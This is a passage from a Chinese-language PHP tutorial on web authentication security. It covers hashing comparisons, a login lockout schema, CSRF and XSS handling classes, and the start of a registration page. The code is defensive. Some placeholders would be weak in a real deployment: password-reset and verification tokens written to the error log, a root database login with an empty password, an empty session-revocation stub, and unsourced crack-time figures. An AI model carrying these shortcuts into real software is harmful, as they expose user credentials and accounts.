            WHERE username = ? AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
        ");
        $stmt->execute([$username, $this->lockoutTime]);
        $result = $stmt->fetch();
        
        return $result['attempts'] >= $this->maxAttempts;
    }
    
    private function recordFailedAttempt($username) {
        $stmt = $this->db->prepare("INSERT INTO login_attempts (username, attempt_ip) VALUES (?, ?)");
        $stmt->execute([$username, $_SERVER['REMOTE_ADDR']]);
    }
    
    private function resetFailedAttempts($username) {
        $stmt = $this->db->prepare("DELETE FROM login_attempts WHERE username = ?");
        $stmt->execute([$username]);
    }
    
    private function upgradePassword($userId, $password) {
        $newHash = password_hash($password, PASSWORD_DEFAULT);
        $stmt = $this->db->prepare("UPDATE users SET password_hash = ? WHERE id = ?");
        $stmt->execute([$newHash, $userId]);
    }
    
    private function generateSessionToken($userId) {
        $token = bin2hex(random_bytes(32));
        $hashedToken = hash('sha256', $token);
        
        // 存储到数据库
$stmt = $this->db->prepare("
            INSERT INTO sessions (user_id, token_hash, created_at, expires_at) 
            VALUES (?, ?, NOW(), DATE_ADD(NOW(), INTERVAL 30 DAY))
        ");
        $stmt->execute([$userId, $hashedToken]);
        
        return $token;
    }
}

// 密码哈希算法比较
echo "<h4>不同哈希算法对比:</h4>";

$password = 'TestPassword123!';

$algorithms = [
    'MD5' => function($pwd) { return md5($pwd); },
    'SHA1' => function($pwd) { return sha1($pwd); },
    'SHA256' => function($pwd) { return hash('sha256', $pwd); },
    'BCRYPT' => function($pwd) { return password_hash($pwd, PASSWORD_BCRYPT); },
    'ARGON2I' => function($pwd) { return password_hash($pwd, PASSWORD_ARGON2I); },
    'ARGON2ID' => function($pwd) { return password_hash($pwd, PASSWORD_ARGON2ID); }
];

echo "<table border='1' cellpadding='5'>";
echo "<tr><th>算法</th><th>哈希值</th><th>长度</th><th>安全性</th></tr>";

foreach ($algorithms as $name => $func) {
    if ($name === 'ARGON2I' || $name === 'ARGON2ID') {
        if (!defined('PASSWORD_ARGON2I')) {
            echo "<tr><td>$name</td><td colspan='3'>不支持(需要PHP 7.2+)</td></tr>";
            continue;
        }
    }
    
    $hash = $func($password);
    $length = strlen($hash);
    $security = '';
    
    switch($name) {
        case 'MD5':
        case 'SHA1':
            $security = '❌ 不安全(已被破解)';
            break;
        case 'SHA256':
            $security = '⚠️ 一般(需要加盐)';
            break;
        case 'BCRYPT':
            $security = '✅ 安全(推荐)';
            break;
        case 'ARGON2I':
        case 'ARGON2ID':
            $security = '✅ 非常安全(最新标准)';
            break;
    }
    
    echo "<tr>";
    echo "<td>$name</td>";
    echo "<td style='font-family: monospace;'>" . substr($hash, 0, 32) . "...</td>";
    echo "<td>$length</td>";
    echo "<td>$security</td>";
    echo "</tr>";
}

echo "</table>";

// 密码破解时间估算(基于当前计算能力)
echo "<h4>密码破解时间估算(假设攻击者使用高端GPU):</h4>";

$passwords = [
    '123456' => '立即',
    'password' => '立即',
    'Pass123' => '几分钟',
    'MySecurePass123!' => '数百年',
    'Xk8&g#2pL9@qW$5z' => '数百万年'
];

echo "<ul>";
foreach ($passwords as $pwd => $time) {
    $strength = PasswordSecurity::checkPasswordStrength($pwd);
    echo "<li>密码: <code>$pwd</code> - 强度: {$strength['level']} - 破解时间: $time</li>";
}
echo "</ul>";

// 实际部署建议
echo "<h4>生产环境密码安全建议:</h4>";
echo "<ol>";
echo "<li>始终使用password_hash()和password_verify()函数</li>";
echo "<li>密码最小长度设置为12个字符</li>";
echo "<li>强制使用大小写字母、数字和特殊字符的组合</li>";
echo "<li>禁止使用常见密码和字典单词</li>";
echo "<li>定期提示用户更改密码(建议90天)</li>";
echo "<li>实现登录失败锁定机制</li>";
echo "<li>记录所有登录尝试(成功和失败)</li>";
echo "<li>使用HTTPS传输密码</li>";
echo "<li>考虑实现双因素认证(2FA)</li>";
echo "</ol>";
?>

实战项目

项目名称:安全用户管理系统

项目需求分析

开发一个包含完整安全防护措施的用户管理系统,实现以下功能:

  1. 用户注册(包含邮箱验证)
  2. 安全登录(防暴力破解)
  3. 密码管理(修改、重置)
  4. 会话管理(安全登录状态维持)
  5. 用户资料管理
  6. 管理员后台(用户管理)

技术方案

  • 数据库设计:使用MySQL,包含users、sessions、login_attempts等表
  • 安全措施
  • 密码使用bcrypt哈希存储
  • 所有表单使用CSRF令牌防护
  • 用户输入进行XSS过滤
  • 数据库操作使用PDO预处理语句
  • 登录失败锁定机制
  • HTTPS强制使用(生产环境)
  • 架构设计:采用面向对象设计,遵循单一职责原则

分步骤实现

步骤1:数据库设计
sql 复制代码
-- 创建数据库
CREATE DATABASE secure_auth CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE secure_auth;

-- 用户表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    full_name VARCHAR(100),
    is_active BOOLEAN DEFAULT TRUE,
    is_verified BOOLEAN DEFAULT FALSE,
    verification_token VARCHAR(64),
    verification_expires DATETIME,
    two_factor_secret VARCHAR(32),
    two_factor_enabled BOOLEAN DEFAULT FALSE,
    failed_attempts INT DEFAULT 0,
    locked_until DATETIME,
    last_login DATETIME,
    password_changed_at DATETIME,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    
    INDEX idx_email (email),
    INDEX idx_username (username)
);

-- 会话表
CREATE TABLE sessions (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT NOT NULL,
    token_hash VARCHAR(64) NOT NULL,
    ip_address VARCHAR(45),
    user_agent TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    expires_at DATETIME NOT NULL,
    is_revoked BOOLEAN DEFAULT FALSE,
    
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
    INDEX idx_token_hash (token_hash),
    INDEX idx_user_id (user_id)
);

-- 登录尝试记录表
CREATE TABLE login_attempts (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL,
    attempt_ip VARCHAR(45),
    attempt_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    is_successful BOOLEAN DEFAULT FALSE,
    
    INDEX idx_username_time (username, attempt_time),
    INDEX idx_ip_time (attempt_ip, attempt_time)
);

-- 密码重置表
CREATE TABLE password_resets (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT NOT NULL,
    token_hash VARCHAR(64) NOT NULL,
    expires_at DATETIME NOT NULL,
    is_used BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
    INDEX idx_token_hash (token_hash)
);

-- 安全日志表
CREATE TABLE security_logs (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT,
    event_type VARCHAR(50) NOT NULL,
    ip_address VARCHAR(45),
    user_agent TEXT,
    details TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    
    INDEX idx_user_id (user_id),
    INDEX idx_event_type (event_type),
    INDEX idx_created_at (created_at)
);
步骤2:核心安全类实现
php 复制代码
<?php
// File: includes/Security/CoreSecurity.php

/**
 * 核心安全类
* 负责处理所有安全相关的操作
*/
class CoreSecurity {
    private $db;
    private $config;
    
    public function __construct(PDO $db, array $config = []) {
        $this->db = $db;
        $this->config = array_merge([
            'max_login_attempts' => 5,
            'lockout_duration' => 900, // 15分钟
'session_timeout' => 1800, // 30分钟
'csrf_token_expiry' => 3600, // 1小时
'min_password_length' => 8,
            'require_strong_password' => true
        ], $config);
    }
    
    /**
     * 验证CSRF令牌
*/
    public function validateCsrfToken($token, $formId = 'default') {
        if (empty($token)) {
            return false;
        }
        
        // 从Session获取存储的令牌
$storedToken = $_SESSION['csrf_tokens'][$formId] ?? null;
        
        if (!$storedToken) {
            return false;
        }
        
        // 检查是否过期
if (time() > $storedToken['expires']) {
            unset($_SESSION['csrf_tokens'][$formId]);
            return false;
        }
        
        // 安全比较
$isValid = hash_equals($storedToken['hash'], hash('sha256', $token));
        
        // 使用后销毁(一次性令牌)
if ($isValid) {
            unset($_SESSION['csrf_tokens'][$formId]);
        }
        
        return $isValid;
    }
    
    /**
     * 生成CSRF令牌
*/
    public function generateCsrfToken($formId = 'default') {
        $token = bin2hex(random_bytes(32));
        
        $_SESSION['csrf_tokens'][$formId] = [
            'hash' => hash('sha256', $token),
            'created' => time(),
            'expires' => time() + $this->config['csrf_token_expiry']
        ];
        
        // 清理过期令牌
$this->cleanupExpiredTokens();
        
        return $token;
    }
    
    /**
     * 清理过期令牌
*/
    private function cleanupExpiredTokens() {
        foreach ($_SESSION['csrf_tokens'] as $formId => $data) {
            if (time() > $data['expires']) {
                unset($_SESSION['csrf_tokens'][$formId]);
            }
        }
    }
    
    /**
     * 过滤XSS攻击
*/
    public function sanitizeInput($input, $context = 'html') {
        if (is_array($input)) {
            return array_map([$this, 'sanitizeInput'], $input);
        }
        
        $input = trim($input);
        
        switch ($context) {
            case 'html':
                return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);
                
            case 'attribute':
                // 额外的属性过滤
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
                return preg_replace('/[^a-zA-Z0-9\-_]/', '', $input);
                
            case 'url':
                if (filter_var($input, FILTER_VALIDATE_URL)) {
                    return filter_var($input, FILTER_SANITIZE_URL);
                }
                return '';
                
            case 'email':
                return filter_var($input, FILTER_SANITIZE_EMAIL);
                
            case 'int':
                return filter_var($input, FILTER_SANITIZE_NUMBER_INT);
                
            case 'float':
                return filter_var($input, FILTER_SANITIZE_NUMBER_FLOAT, 
                    FILTER_FLAG_ALLOW_FRACTION | FILTER_FLAG_ALLOW_THOUSAND);
                
            case 'sql':
                // 注意:这只是辅助过滤,不能替代预处理语句
return $this->db->quote($input);
                
            default:
                return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
        }
    }
    
    /**
     * 记录安全事件
*/
    public function logSecurityEvent($userId, $eventType, $details = '') {
        $stmt = $this->db->prepare("
            INSERT INTO security_logs 
            (user_id, event_type, ip_address, user_agent, details) 
            VALUES (?, ?, ?, ?, ?)
        ");
        
        $stmt->execute([
            $userId,
            $eventType,
            $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
            $_SERVER['HTTP_USER_AGENT'] ?? '',
            $details
        ]);
        
        return $this->db->lastInsertId();
    }
    
    /**
     * 检查暴力破解
*/
    public function checkBruteForce($username) {
        $stmt = $this->db->prepare("
            SELECT COUNT(*) as attempts 
            FROM login_attempts 
            WHERE username = ? 
            AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
            AND is_successful = 0
        ");
        
        $stmt->execute([$username, $this->config['lockout_duration']]);
        $result = $stmt->fetch();
        
        return $result['attempts'] >= $this->config['max_login_attempts'];
    }
    
    /**
     * 记录登录尝试
*/
    public function recordLoginAttempt($username, $isSuccessful) {
        $stmt = $this->db->prepare("
            INSERT INTO login_attempts 
            (username, attempt_ip, is_successful) 
            VALUES (?, ?, ?)
        ");
        
        $stmt->execute([
            $username,
            $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
            $isSuccessful ? 1 : 0
        ]);
        
        // 如果失败次数过多,锁定账户
if (!$isSuccessful) {
            $this->checkAndLockAccount($username);
        }
    }
    
    /**
     * 检查并锁定账户
*/
    private function checkAndLockAccount($username) {
        $stmt = $this->db->prepare("
            SELECT COUNT(*) as attempts 
            FROM login_attempts 
            WHERE username = ? 
            AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
            AND is_successful = 0
        ");
        
        $stmt->execute([$username, $this->config['lockout_duration']]);
        $result = $stmt->fetch();
        
        if ($result['attempts'] >= $this->config['max_login_attempts']) {
            $stmt = $this->db->prepare("
                UPDATE users 
                SET locked_until = DATE_ADD(NOW(), INTERVAL ? SECOND) 
                WHERE username = ?
            ");
            
            $stmt->execute([$this->config['lockout_duration'], $username]);
            
            // 记录安全事件
$this->logSecurityEvent(
                null, 
                'ACCOUNT_LOCKED', 
                "账户 $username 因多次失败尝试被锁定"
            );
        }
    }
    
    /**
     * 验证密码强度
*/
    public function validatePasswordStrength($password) {
        $errors = [];
        
        // 长度检查
if (strlen($password) < $this->config['min_password_length']) {
            $errors[] = "密码至少需要 {$this->config['min_password_length']} 个字符";
        }
        
        if ($this->config['require_strong_password']) {
            // 大写字母检查
if (!preg_match('/[A-Z]/', $password)) {
                $errors[] = "需要包含至少一个大写字母";
            }
            
            // 小写字母检查
if (!preg_match('/[a-z]/', $password)) {
                $errors[] = "需要包含至少一个小写字母";
            }
            
            // 数字检查
if (!preg_match('/[0-9]/', $password)) {
                $errors[] = "需要包含至少一个数字";
            }
            
            // 特殊字符检查
if (!preg_match('/[^A-Za-z0-9]/', $password)) {
                $errors[] = "需要包含至少一个特殊字符";
            }
        }
        
        // 常见密码检查
$commonPasswords = [
            '123456', 'password', '12345678', 'qwerty', 'abc123',
            '123456789', '111111', '1234567', 'iloveyou', 'admin'
        ];
        
        if (in_array(strtolower($password), $commonPasswords)) {
            $errors[] = "密码过于常见,请选择更复杂的密码";
        }
        
        // 密码相似度检查(防止与用户名、邮箱相似)
if (isset($_POST['username']) && similar_text($password, $_POST['username']) > 3) {
            $errors[] = "密码不能与用户名太相似";
        }
        
        if (isset($_POST['email'])) {
            $emailParts = explode('@', $_POST['email']);
            if (similar_text($password, $emailParts[0]) > 3) {
                $errors[] = "密码不能与邮箱前缀太相似";
            }
        }
        
        return [
            'is_valid' => empty($errors),
            'errors' => $errors
        ];
    }
    
    /**
     * 生成安全的随机字符串
*/
    public function generateRandomString($length = 32) {
        return bin2hex(random_bytes($length / 2));
    }
    
    /**
     * 设置安全HTTP头
*/
    public function setSecurityHeaders() {
        // CSP头
header("Content-Security-Policy: " . implode('; ', [
            "default-src 'self'",
            "script-src 'self' 'unsafe-inline'",
            "style-src 'self' 'unsafe-inline'",
            "img-src 'self' data: https:",
            "font-src 'self'",
            "connect-src 'self'",
            "frame-ancestors 'none'",
            "form-action 'self'"
        ]));
        
        // 其他安全头
header("X-Content-Type-Options: nosniff");
        header("X-Frame-Options: DENY");
        header("X-XSS-Protection: 1; mode=block");
        header("Referrer-Policy: strict-origin-when-cross-origin");
        
        // HSTS头(生产环境使用)
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
            header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
        }
    }
}
?>
步骤3:用户认证类实现
php 复制代码
<?php
// File: includes/Security/AuthManager.php

/**
 * 用户认证管理器
* 处理用户注册、登录、会话管理等核心功能
*/
class AuthManager {
    private $db;
    private $security;
    
    public function __construct(PDO $db, CoreSecurity $security) {
        $this->db = $db;
        $this->security = $security;
    }
    
    /**
     * 用户注册
*/
    public function register($username, $email, $password, $fullName = '') {
        try {
            // 开始事务
$this->db->beginTransaction();
            
            // 验证输入
$this->validateRegistrationInput($username, $email, $password);
            
            // 检查用户是否已存在
if ($this->userExists($username, $email)) {
                throw new Exception('用户名或邮箱已被注册');
            }
            
            // 哈希密码
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
            
            // 生成验证令牌
$verificationToken = $this->security->generateRandomString(32);
            $verificationExpires = date('Y-m-d H:i:s', time() + 86400); // 24小时后过期
// 插入用户记录
$stmt = $this->db->prepare("
                INSERT INTO users 
                (username, email, password_hash, full_name, verification_token, verification_expires) 
                VALUES (?, ?, ?, ?, ?, ?)
            ");
            
            $stmt->execute([
                $username,
                $email,
                $hashedPassword,
                $fullName,
                $verificationToken,
                $verificationExpires
            ]);
            
            $userId = $this->db->lastInsertId();
            
            // 发送验证邮件(实际项目中需要实现)
$this->sendVerificationEmail($email, $verificationToken);
            
            // 记录安全事件
$this->security->logSecurityEvent(
                $userId,
                'USER_REGISTERED',
                "新用户注册: $username ($email)"
            );
            
            // 提交事务
$this->db->commit();
            
            return [
                'success' => true,
                'user_id' => $userId,
                'message' => '注册成功,请查收验证邮件'
            ];
            
        } catch (Exception $e) {
            // 回滚事务
$this->db->rollBack();
            
            // 记录错误
error_log("注册失败: " . $e->getMessage());
            
            return [
                'success' => false,
                'message' => $e->getMessage()
            ];
        }
    }
    
    /**
     * 用户登录
*/
    public function login($username, $password, $rememberMe = false) {
        try {
            // 检查暴力破解
if ($this->security->checkBruteForce($username)) {
                throw new Exception('账户已被锁定,请稍后再试');
            }
            
            // 获取用户信息
$user = $this->getUserByUsernameOrEmail($username);
            
            if (!$user) {
                $this->security->recordLoginAttempt($username, false);
                throw new Exception('用户名或密码错误');
            }
            
            // 检查账户状态
if (!$user['is_active']) {
                throw new Exception('账户已被禁用,请联系管理员');
            }
            
            if ($user['locked_until'] && strtotime($user['locked_until']) > time()) {
                $lockTime = date('Y-m-d H:i', strtotime($user['locked_until']));
                throw new Exception("账户已被锁定至 $lockTime");
            }
            
            // 验证密码
if (!password_verify($password, $user['password_hash'])) {
                $this->security->recordLoginAttempt($username, false);
                throw new Exception('用户名或密码错误');
            }
            
            // 检查是否需要重新哈希
if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
                $this->upgradePassword($user['id'], $password);
            }
            
            // 重置失败尝试计数
$this->resetFailedAttempts($username);
            
            // 创建会话
$sessionData = $this->createUserSession($user['id'], $rememberMe);
            
            // 更新最后登录时间
$this->updateLastLogin($user['id']);
            
            // 记录成功登录
$this->security->recordLoginAttempt($username, true);
            $this->security->logSecurityEvent(
                $user['id'],
                'LOGIN_SUCCESS',
                "用户登录成功"
            );
            
            return [
                'success' => true,
                'user' => [
                    'id' => $user['id'],
                    'username' => $user['username'],
                    'email' => $user['email'],
                    'full_name' => $user['full_name']
                ],
                'session' => $sessionData,
                'requires_2fa' => $user['two_factor_enabled']
            ];
            
        } catch (Exception $e) {
            return [
                'success' => false,
                'message' => $e->getMessage()
            ];
        }
    }
    
    /**
     * 创建用户会话
*/
    private function createUserSession($userId, $rememberMe = false) {
        // 生成会话令牌
$sessionToken = $this->security->generateRandomString(32);
        $hashedToken = hash('sha256', $sessionToken);
        
        // 计算过期时间
$expiresAt = $rememberMe 
            ? date('Y-m-d H:i:s', time() + 2592000) // 30天
: date('Y-m-d H:i:s', time() + 86400);   // 1天
// 存储到数据库
$stmt = $this->db->prepare("
            INSERT INTO sessions 
            (user_id, token_hash, ip_address, user_agent, expires_at) 
            VALUES (?, ?, ?, ?, ?)
        ");
        
        $stmt->execute([
            $userId,
            $hashedToken,
            $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
            $_SERVER['HTTP_USER_AGENT'] ?? '',
            $expiresAt
        ]);
        
        // 设置Cookie
        $cookieExpiry = $rememberMe ? time() + 2592000 : 0; // 0表示浏览器关闭时过期
setcookie('session_token', $sessionToken, [
            'expires' => $cookieExpiry,
            'path' => '/',
            'domain' => '',
            'secure' => isset($_SERVER['HTTPS']),
            'httponly' => true,
            'samesite' => 'Strict'
        ]);
        
        return [
            'token' => $sessionToken,
            'expires' => $expiresAt
        ];
    }
    
    /**
     * 验证会话
*/
    public function validateSession($sessionToken) {
        if (empty($sessionToken)) {
            return false;
        }
        
        $hashedToken = hash('sha256', $sessionToken);
        
        $stmt = $this->db->prepare("
            SELECT s.*, u.* 
            FROM sessions s
            JOIN users u ON s.user_id = u.id
            WHERE s.token_hash = ? 
            AND s.expires_at > NOW() 
            AND s.is_revoked = 0
            AND u.is_active = 1
        ");
        
        $stmt->execute([$hashedToken]);
        $session = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if (!$session) {
            return false;
        }
        
        // 检查IP和User-Agent是否匹配(可选,但更安全)
$currentIp = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        $currentUserAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        
        if ($session['ip_address'] !== $currentIp || 
            $session['user_agent'] !== $currentUserAgent) {
            // 记录可疑活动
$this->security->logSecurityEvent(
                $session['user_id'],
                'SESSION_HIJACK_ATTEMPT',
                "IP或User-Agent不匹配"
            );
            
            // 可以选择使会话失效
$this->revokeSession($hashedToken);
            return false;
        }
        
        // 更新会话过期时间(滑动过期)
$newExpiry = date('Y-m-d H:i:s', time() + 3600); // 延长1小时
$stmt = $this->db->prepare("
            UPDATE sessions 
            SET expires_at = ? 
            WHERE token_hash = ?
        ");
        $stmt->execute([$newExpiry, $hashedToken]);
        
        return [
            'user' => [
                'id' => $session['user_id'],
                'username' => $session['username'],
                'email' => $session['email'],
                'full_name' => $session['full_name']
            ],
            'session' => $session
        ];
    }
    
    /**
     * 用户退出
*/
    public function logout($sessionToken = null) {
        if ($sessionToken === null) {
            $sessionToken = $_COOKIE['session_token'] ?? '';
        }
        
        if (!empty($sessionToken)) {
            $hashedToken = hash('sha256', $sessionToken);
            $this->revokeSession($hashedToken);
        }
        
        // 清除Cookie
        setcookie('session_token', '', [
            'expires' => time() - 3600,
            'path' => '/',
            'domain' => '',
            'secure' => isset($_SERVER['HTTPS']),
            'httponly' => true
        ]);
        
        // 销毁Session
        session_destroy();
        
        return true;
    }
    
    /**
     * 撤销会话
*/
    private function revokeSession($hashedToken) {
        $stmt = $this->db->prepare("
            UPDATE sessions 
            SET is_revoked = 1 
            WHERE token_hash = ?
        ");
        
        return $stmt->execute([$hashedToken]);
    }
    
    /**
     * 修改密码
*/
    public function changePassword($userId, $currentPassword, $newPassword) {
        try {
            // 获取当前密码哈希
$stmt = $this->db->prepare("SELECT password_hash FROM users WHERE id = ?");
            $stmt->execute([$userId]);
            $user = $stmt->fetch();
            
            if (!$user || !password_verify($currentPassword, $user['password_hash'])) {
                throw new Exception('当前密码错误');
            }
            
            // 验证新密码强度
$validation = $this->security->validatePasswordStrength($newPassword);
            if (!$validation['is_valid']) {
                throw new Exception('新密码强度不足: ' . implode(', ', $validation['errors']));
            }
            
            // 检查是否与旧密码相同
if (password_verify($newPassword, $user['password_hash'])) {
                throw new Exception('新密码不能与当前密码相同');
            }
            
            // 更新密码
$newHash = password_hash($newPassword, PASSWORD_DEFAULT);
            $stmt = $this->db->prepare("
                UPDATE users 
                SET password_hash = ?, password_changed_at = NOW() 
                WHERE id = ?
            ");
            
            $stmt->execute([$newHash, $userId]);
            
            // 撤销所有活跃会话(除了当前会话)
$this->revokeAllSessionsExceptCurrent($userId);
            
            // 记录安全事件
$this->security->logSecurityEvent(
                $userId,
                'PASSWORD_CHANGED',
                "用户修改密码"
            );
            
            return [
                'success' => true,
                'message' => '密码修改成功,请重新登录'
            ];
            
        } catch (Exception $e) {
            return [
                'success' => false,
                'message' => $e->getMessage()
            ];
        }
    }
    
    /**
     * 发送密码重置邮件
*/
    public function requestPasswordReset($email) {
        try {
            // 获取用户
$stmt = $this->db->prepare("SELECT id, username FROM users WHERE email = ?");
            $stmt->execute([$email]);
            $user = $stmt->fetch();
            
            if (!$user) {
                // 为了安全,即使用户不存在也返回成功消息
return [
                    'success' => true,
                    'message' => '如果邮箱存在,重置链接已发送'
                ];
            }
            
            // 生成重置令牌
$resetToken = $this->security->generateRandomString(32);
            $hashedToken = hash('sha256', $resetToken);
            $expiresAt = date('Y-m-d H:i:s', time() + 3600); // 1小时后过期
// 存储重置令牌
$stmt = $this->db->prepare("
                INSERT INTO password_resets 
                (user_id, token_hash, expires_at) 
                VALUES (?, ?, ?)
            ");
            
            $stmt->execute([$user['id'], $hashedToken, $expiresAt]);
            
            // 发送重置邮件(实际项目中需要实现)
$this->sendPasswordResetEmail($email, $resetToken);
            
            // 记录安全事件
$this->security->logSecurityEvent(
                $user['id'],
                'PASSWORD_RESET_REQUESTED',
                "请求重置密码"
            );
            
            return [
                'success' => true,
                'message' => '重置链接已发送到您的邮箱'
            ];
            
        } catch (Exception $e) {
            error_log("密码重置请求失败: " . $e->getMessage());
            return [
                'success' => false,
                'message' => '请求失败,请稍后重试'
            ];
        }
    }
    
    // 辅助方法
private function validateRegistrationInput($username, $email, $password) {
        // 用户名验证
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
            throw new Exception('用户名只能包含字母、数字和下划线,长度3-20位');
        }
        
        // 邮箱验证
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            throw new Exception('邮箱格式不正确');
        }
        
        // 密码强度验证
$validation = $this->security->validatePasswordStrength($password);
        if (!$validation['is_valid']) {
            throw new Exception('密码强度不足: ' . implode(', ', $validation['errors']));
        }
    }
    
    private function userExists($username, $email) {
        $stmt = $this->db->prepare("
            SELECT id FROM users WHERE username = ? OR email = ?
        ");
        $stmt->execute([$username, $email]);
        return $stmt->fetch() !== false;
    }
    
    private function getUserByUsernameOrEmail($identifier) {
        $stmt = $this->db->prepare("
            SELECT * FROM users 
            WHERE username = ? OR email = ? 
            LIMIT 1
        ");
        $stmt->execute([$identifier, $identifier]);
        return $stmt->fetch(PDO::FETCH_ASSOC);
    }
    
    private function resetFailedAttempts($username) {
        $stmt = $this->db->prepare("DELETE FROM login_attempts WHERE username = ?");
        $stmt->execute([$username]);
        
        $stmt = $this->db->prepare("UPDATE users SET locked_until = NULL WHERE username = ?");
        $stmt->execute([$username]);
    }
    
    private function upgradePassword($userId, $password) {
        $newHash = password_hash($password, PASSWORD_DEFAULT);
        $stmt = $this->db->prepare("
            UPDATE users 
            SET password_hash = ? 
            WHERE id = ?
        ");
        $stmt->execute([$newHash, $userId]);
    }
    
    private function updateLastLogin($userId) {
        $stmt = $this->db->prepare("
            UPDATE users 
            SET last_login = NOW() 
            WHERE id = ?
        ");
        $stmt->execute([$userId]);
    }
    
    private function revokeAllSessionsExceptCurrent($userId) {
        // 在实际项目中实现
}
    
    private function sendVerificationEmail($email, $token) {
        // 在实际项目中实现邮件发送
error_log("验证邮件发送到: $email, 令牌: $token");
    }
    
    private function sendPasswordResetEmail($email, $token) {
        // 在实际项目中实现邮件发送
error_log("重置邮件发送到: $email, 令牌: $token");
    }
}
?>
步骤4:前端表单和页面实现
php 复制代码
<?php
// File: register.php

require_once 'includes/Security/CoreSecurity.php';
require_once 'includes/Security/AuthManager.php';

// 初始化
session_start();
$db = new PDO('mysql:host=localhost;dbname=secure_auth;charset=utf8mb4', 'root', '');
$security = new CoreSecurity($db);
$auth = new AuthManager($db, $security);

// 设置安全头
$security->setSecurityHeaders();

// 处理注册请求
$message = '';
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 验证CSRF令牌
if (!$security->validateCsrfToken($_POST['csrf_token'] ?? '', 'register')) {
        $message = '安全令牌验证失败,请刷新页面重试';
    } else {
        // 获取并清理输入
$username = $security->sanitizeInput($_POST['username'] ?? '', 'html');
        $email = $security->sanitizeInput($_POST['email'] ?? '', 'email');
        $password = $_POST['password'] ?? '';
        $confirmPassword = $_POST['confirm_password'] ?? '';
        $fullName = $security->sanitizeInput($_POST['full_name'] ?? '', 'html');
        
        // 验证密码确认
if ($password !== $confirmPassword) {
            $message = '两次输入的密码不一致';
        } else {
            // 执行注册
$result = $auth->register($username, $email, $password, $fullName);
            $message = $result['message'];
            $success = $result['success'];
        }
    }
}

// 生成CSRF令牌
$csrfToken = $security->generateCsrfToken('register');
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>用户注册 - 安全认证系统</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f5f5f5;
            margin: 0;
            padding: 20px;
        }
        .container {
            max-width: 400px;
            margin: 50px auto;
            background: white;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: bold;
        }
        input[type="text"],
        input[type="email"],
        input[type="password"] {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            box-sizing: border-box;
        }
        input:focus {
            outline: none;
            border-color: #4CAF50;
            box-shadow: 0 0 5px rgba(76, 175, 80, 0.3);
        }
        .password-strength {
            height: 5px;
            background: #eee;
            border-radius: 3px;
            margin-top: 5px;
            overflow: hidden;
        }
        .strength-meter {
            height: 100%;
            width: 0;
            transition: width 0.3s, background-color 0.3s;
        }
        .strength-weak { background-color: #ff4444; width: 33%; }
        .strength-medium { background-color: #ffbb33; width: 66%; }
        .strength-strong { background-color: #00C851; width: 100%; }
        .requirements {
            font-size: 12px;
            color: #666;
            margin-top: 5px;
        }
        .requirement {
            display: flex;
            align-items: center;
            margin-bottom: 2px;
        }
        .requirement.valid { color: #00C851; }
        .requirement.invalid { color: #ff4444; }
        .requirement::before {
            content: '○';
            margin-right: 5px;
        }
        .requirement.valid::before { content: '✓'; }
        .btn {
            width: 100%;
            padding: 12px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
            font-weight: bold;
        }
        .btn:hover {
            background-color: #45a049;
        }
        .message {
            padding: 10px;
            border-radius: 4px;
            margin-bottom: 20px;
            text-align: center;
        }
        .message.success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        .message.error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        .login-link {
            text-align: center;
            margin-top: 20px;
        }
        .login-link a {
            color: #4CAF50;
            text-decoration: none;
        }
        .login-link a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>用户注册</h1>
        
        <?php if ($message): ?>
